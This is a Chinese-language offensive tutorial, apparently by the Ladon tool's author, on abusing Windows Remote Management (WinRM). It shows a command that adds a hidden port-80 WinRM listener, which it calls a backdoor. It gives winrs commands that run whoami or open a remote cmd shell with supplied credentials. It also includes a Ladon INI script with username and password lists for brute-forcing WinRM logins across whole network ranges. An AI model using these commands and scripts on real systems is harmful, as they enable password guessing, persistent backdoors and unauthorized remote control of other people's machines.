WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
PS:WIN7或2008需要手动开户WINRM
5985/tcp (HTTP)
5986/tcp (HTTPS)
对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
PS:该方法适用于有web的机器,不会开启新端口,也不需要EXE进程或DLL劫持。
通过WinRM连接,并执行whoami命令
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami
通过WinRM连接,并获得交互式的shell
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd
由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。
[Ladon]
#Brute-Force WinRM
exe=cmd.exe
arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
port=5985
isok=isok
log=true
注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。
INI脚本仅支持标准的user.txt和pass.txt帐密破解
user.txt
k8gege
root
pass.txt
toor
k8gege520
Ladon 192.168.1.8 WinrmScan.ini
Ladon 192.168.1.8/c WinrmScan.ini
Ladon 192.168.1.8/24 WinrmScan.ini
Ladon 192.168.1.8/b WinrmScan.ini
Ladon 192.168.1.8/a WinrmScan.ini
ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48
Ladon WinrmScan.ini
ip24.txt
192.168.1.
10.1.5.
Ladon WinrmScan.ini
ip16.txt
192.168.
10.1.
Ladon WinrmScan.ini
如图,通过5985端口扫描1.20机器登陆口令
最新版本:https://k8gege.org/Download/Ladon.rar
历史版本: https://github.com/k8gege/Ladon/releases